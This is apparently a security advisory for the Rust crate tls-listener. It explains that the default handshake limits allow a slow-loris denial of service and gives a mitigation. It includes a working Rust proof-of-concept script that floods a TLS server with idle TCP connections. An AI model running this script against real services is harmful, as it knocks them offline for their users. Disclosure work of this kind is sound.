tls-listener affected by the slow loris vulnerability with default configuration

### Summary With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. ### Details The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. ```rust /// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10); ``` ### PoC Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server. ```rust use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet}; #[tokio::main] async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10); let url = "127.0.0.1:3000"; let sockets: Vec<_> = url .to_socket_addrs() .unwrap() .inspect(|s| println!("{s:?}")) .collect(); let mut js = JoinSet::new(); let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32)); int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst); for _ in 0..10000 { for &socket in &sockets { int.tick().await; js.spawn(async move { let mut stream = TcpStream::connect(socket).await.unwrap(); let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await; }); } } while js.join_next().await.is_some() {} } ``` ### Impact This is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener` ### Mitigation Previous versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Quoted source text, attributed separately from HOL analysis.